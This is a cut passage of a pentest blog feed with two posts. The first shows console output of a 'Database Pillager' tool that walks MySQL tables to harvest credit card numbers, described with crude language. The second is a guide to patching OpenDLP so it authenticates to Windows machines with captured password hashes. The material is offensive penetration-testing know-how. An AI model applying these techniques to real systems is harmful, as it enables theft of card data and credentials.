x-small;"&gt;AD_VP&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;17000.0&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;None&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;100&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;90&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="color: #3d85c6; font-size: large;"&gt;&lt;b&gt;Example Summary:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #3d85c6; font-size: large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;In this example I browsed around the database till I found a table I with some data I wanted to view. Because I set the Rate Limit to two records I pulled back 2 full employee records and posted all of the data to the screen. This kicks serious ass if you have had the unfortunate experience of using sqlserver management console or other horrible GUI’s in windows to view or search for data.  Oh and I just noticed that the display is saying its searching when its actually displaying LOL… need to change that. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Example 3: MYSQL Run at the Table Level rather then DB.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;Note: just used the default BT mysql database and added in random data&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;root@bt:~/pillage# &lt;/span&gt;&lt;span style="color: #c00000; font-size: small;"&gt;&lt;b&gt;python dbPillage.py -a 127.0.0.1 -d mysql -u root -p toor&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Select a database to pillage:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;1: information_schema&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;2: PCItest&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;3: msf3&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;4: mysql&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Choose the database you want by typing the number next to your DB choice&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Or rip through every database by typing "cowboy" to rape everything: &lt;/span&gt;&lt;span style="color: #c00000; font-size: x-small;"&gt;&lt;b&gt;3&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;msf3&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Select a table to rape pillage:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;1: attachments&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;2: attachments_email_templates&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;3: campaigns&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;4: clients&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;5: creds&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;6: email_addresses&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;7: email_templates&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;8: events&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;9: exploited_hosts&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;10: hosts&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;11: imported_creds&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;12: loots&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;13: notes&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;14: project_members&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;15: refs&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;16: report_templates&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;17: reports&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;18: schema_migrations&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;19: services&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;20: tasks&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;21: users&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;22: vulns&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;23: vulns_refs&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;24: web_forms&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;25: web_pages&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;26: web_sites&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;27: web_templates&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;28: web_vulns&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;29: wmap_requests&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;30: wmap_targets&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;31: workspaces&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Choose the number next to the table you want to search&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Or you can type "all" to search every table in your chosen database: &lt;/span&gt;&lt;span style="color: #c00000; font-size: x-small;"&gt;&lt;b&gt;all&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Searching for CC cards in----Database:msf3| Table:wmap_targets&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Searching for CC cards in----Database:msf3| Table:workspaces&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;etc&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;etc&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;……………&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Validating credit cards via mod-10 checksum method....&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Here are all the validated credit cards found, buy me something pretty&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;['&lt;span style="color: maroon;"&gt;&lt;b&gt;&lt;deletedoutput&gt;&lt;/deletedoutput&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;style type="text/css"&gt;p { margin-bottom: 0.08in; }&lt;/style&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: maroon;"&gt;&lt;b&gt;DeletedOutput&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;']&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;These are all the found regex card matches..&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;div style="line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;['&lt;/span&gt;&lt;style type="text/css"&gt;p { margin-bottom: 0.08in; }&lt;/style&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: maroon;"&gt;&lt;b&gt;DeletedOutput&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;']&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Review the following Database:Table pairs for sensitive data&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;[['msf3', 'email_addresses'], ['msf3', 'email_templates']]&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Example Summary:&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;In this example I chose a database and then decided I wanted to search every table in that database for credit cards. So after selecting the database I just typed “&lt;/span&gt;&lt;span style="color: #c00000; font-size: small;"&gt;&lt;b&gt;all&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;” and let it rip. This is useful if you see databases with names that strike your interest. Soon I will add in other requested features that search for certain fields such as passwords and specified interesting names and rips data out of them. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;If you have any comments or suggestions please let me know, I have been working on this on and off to save myself time with pillaging on penetration tests.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-1314401947202825540?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/1314401947202825540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/03/database-pillager-tool-release.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1314401947202825540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/1314401947202825540'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/03/database-pillager-tool-release.html' title='The Database Pillager (tool release)'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-7681615394634496370</id><published>2011-02-04T14:47:00.000-08:00</published><updated>2011-02-04T15:56:45.066-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pass-the-hash'/><category scheme='http://www.blogger.com/atom/ns#' term='opendlp'/><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='pass the hash'/><title type='text'>OpenDLP Pass-The-Hash</title><content type='html'>OpenDLP is a great time saving tool when looking for sensitive data on windows machines but one pain with using it is that it requires a username and password for the target machine. Passwords are not always a luxury provided when conducting a pentest, but password hashes are usually plentiful in a windows environment and time crack passwords is not always feasible. The details of obtaining windows password hashes is out of scope for this guide and it will be assumed the reader is familiar with "passing the hash". This guide also assumes that you have already patched your systems samba install to allow for "passing the hash" and have also patched "winexe" - further information about this can be found at the following page:&lt;br /&gt;&lt;a href="http://www.foofus.net/~jmk/passhash.html"&gt;http://www.foofus.net/~jmk/passhash.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With that out of the way.....&lt;br /&gt;&lt;br /&gt;The OpenDLP database will need to be modified in order to hold our hash. If you already have OpenDLP installed or you are creating a new install you will need to run the following command after the database has been setup -&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;        alter table profiles add column hash varchar(65);&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;Patching OpenDLP -&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The provided patch is targeted for &lt;span style="font-weight: bold;"&gt;OpenDLP 0.2.5&lt;/span&gt; - I cannot promise that it will work against any other version -&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OpenDLP&lt;/span&gt; - &lt;a href="http://code.google.com/p/opendlp/downloads/detail?name=OpenDLP-0.2.5.tar.bz2&amp;amp;can=2&amp;amp;q="&gt;http://code.google.com/p/opendlp/downloads/detail?name=OpenDLP-0.2.5.tar.bz2&amp;amp;can=2&amp;amp;q=&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;PTH-Patch&lt;/span&gt; - &lt;a href="http://raptor-jes.us/pth_mod.patch"&gt;pth_mod.patch&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you are patching a new install move "pth_mod.patch" into the OpenDLP directory (OpenDLP-0.2.5) and apply -&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;        tar -xjf OpenDLP-0.2.5.tar.bz2&lt;br /&gt;mv pth_mod.patch OpenDLP-0.2.5&lt;br /&gt;cd OpenDLP-0.2.5&lt;br /&gt;patch -p1 -i pth_mod.patch&lt;br /&gt;patching file OpenDLP/web/bin/control.html&lt;br /&gt;patching file OpenDLP/web/bin/download_file.html&lt;br /&gt;patching file OpenDLP/web/bin/profiles.html&lt;br /&gt;patching file OpenDLP/web/bin/profiles-new.html&lt;br /&gt;patching file OpenDLP/web/bin/results/results.html&lt;br /&gt;patching file OpenDLP/web/bin/start-verify.html&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you are patching an existing install (OpenDLP-0.2.5)  move the "pth_mod.patch" into the directory where OpenDLP is installed (default is - /var/www/localhost/OpenDLP/ ) and apply -&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;        mv pth_mod.patch /var/www/localhost/OpenDLP/&lt;br /&gt;patch -p2 -i pth_mod.patch&lt;br /&gt;patching file web/bin/control.html&lt;br /&gt;patching file web/bin/download_file.html&lt;br /&gt;patching file web/bin/profiles.html&lt;br /&gt;patching file web/bin/profiles-new.html&lt;br /&gt;patching file web/bin/results/results.html&lt;br /&gt;patching file web/bin/start-verify.html&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Confirm that your OpenDLP install is still working by accessing the application.&lt;br /&gt;&lt;main.png&gt;&lt;br /&gt;&lt;/main.png&gt;&lt;a href="http://3.bp.blogspot.com/_lir93gYvTtw/TUyD0qVqnfI/AAAAAAAAALs/qiJlItTR3bs/s1600/main.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 270px;" src="http://3.bp.blogspot.com/_lir93gYvTtw/TUyD0qVqnfI/AAAAAAAAALs/qiJlItTR3bs/s400/main.png" alt="" id="BLOGGER_PHOTO_ID_5569971779892059634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;main.png&gt;Create a new profile, as you can see "SMBHash" is now an available option -&lt;br /&gt;&lt;br /&gt;&lt;new_profil.png&gt;&lt;/new_profil.png&gt;&lt;/main.png&gt;&lt;a href="http://2.bp.blogspot.com/_lir93gYvTtw/TUyEKly5a8I/AAAAAAAAAL0/pCzNgiBe9bA/s1600/new_profile.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 269px;" src="http://2.bp.blogspot.com/_lir93gYvTtw/TUyEKly5a8I/AAAAAAAAAL0/pCzNgiBe9bA/s400/new_profile.png" alt="" id="BLOGGER_PHOTO_ID_5569972156629609410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;main.png&gt;&lt;new_profil.png&gt;&lt;br /&gt;Enter in your information, as you can see in my example I have entered in a hash but no password -&lt;br /&gt;&lt;br /&gt;&lt;saved_profil&gt;&lt;/saved_profil&gt;&lt;/new_profil.png&gt;&lt;/main.png&gt;&lt;a href="http://3.bp.blogspot.com/_lir93gYvTtw/TUyESO0giLI/AAAAAAAAAL8/JZN7GnIwCSc/s1600/saved_profile.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 270px;" src="http://3.bp.blogspot.com/_lir93gYvTtw/TUyESO0giLI/AAAAAAAAAL8/JZN7GnIwCSc/s400/saved_profile.png" alt="" id="BLOGGER_PHOTO_ID_5569972287901305010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;main.png&gt;&lt;new_profil.png&gt;&lt;saved_profil&gt;&lt;br /&gt;Just to show here is the database entry for this profile -&lt;br /&gt;&lt;db_profile.png&gt;&lt;br /&gt;&lt;/db_profile.png&gt;&lt;/saved_profil&gt;&lt;/new_profil.png&gt;&lt;/main.png&gt;&lt;a href="http://1.bp.blogspot.com/_lir93gYvTtw/TUyEfLZ2puI/AAAAAAAAAME/hp1a4N921NQ/s1600/profile_db.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 99px;" src="http://1.bp.blogspot.com/_lir93gYvTtw/TUyEfLZ2puI/AAAAAAAAAME/hp1a4N921NQ/s400/profile_db.png" alt="" id="BLOGGER_PHOTO_ID_5569972510322501346" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;main.png&gt;&lt;new_profil.png&gt;&lt;saved_profil&gt;&lt;db_profile.png&gt;&lt;br /&gt;Create a new scan using our new profile -&lt;br /&gt;&lt;new_scan.png&gt;&lt;br /&gt;&lt;/new_scan.png&gt;&lt;/db_profile.png&gt;&lt;/saved_profil&gt;&lt;/new_profil.png&gt;&lt;/main.png&gt;&lt;a href="http://1.bp.blogspot.com/_lir93gYvTtw/TUyEmKYer4I/AAAAAAAAAMM/jou5uafXOPw/s1600/new_scan.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 268px;" src="http://1.bp.blogspot.com/_lir93gYvTtw/TUyEmKYer4I/AAAAAAAAAMM/jou5uafXOPw/s400/new_scan.png" alt="" id="BLOGGER_PHOTO_ID_5569972630307385218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;main.png&gt;&lt;new_profil.png&gt;&lt;saved_profil&gt;&lt;db_profile.png&gt;&lt;new_scan.png&gt;&lt;br /&gt;&lt;deployed.png&gt;&lt;br /&gt;&lt;br /&gt;View the scan results, in the following screen shot I have clicked on the flagged file and opened it in gedit -&lt;br /&gt;&lt;br /&gt;&lt;/deployed.png&gt;&lt;/new_scan.png&gt;&lt;/db_profile.png&gt;&lt;/saved_profil&gt;&lt;/new_profil.png&gt;&lt;/main.png&gt;&lt;a href="http://4.bp.blogspot.com/_lir93gYvTtw/TUyEs1iqr4I/AAAAAAAAAMU/3fFSWEt9_ns/s1600/results.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 270px;" src="http://4.bp.blogspot.com/_lir93gYvTtw/TUyEs1iqr4I/AAAAAAAAAMU/3fFSWEt9_ns/s400/results.png" alt="" id="BLOGGER_PHOTO_ID_5569972744972054402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;main.png&gt;&lt;new_profil.png&gt;&lt;saved_profil&gt;&lt;db_profile.png&gt;&lt;new_scan.png&gt;&lt;deployed.png&gt;&lt;results&gt;&lt;br /&gt;&lt;/results&gt;&lt;/deployed.png&gt;&lt;/new_scan.png&gt;&lt;/db_profile.png&gt;&lt;/saved_profil&gt;&lt;/new_profil.png&gt;&lt;/main.png&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 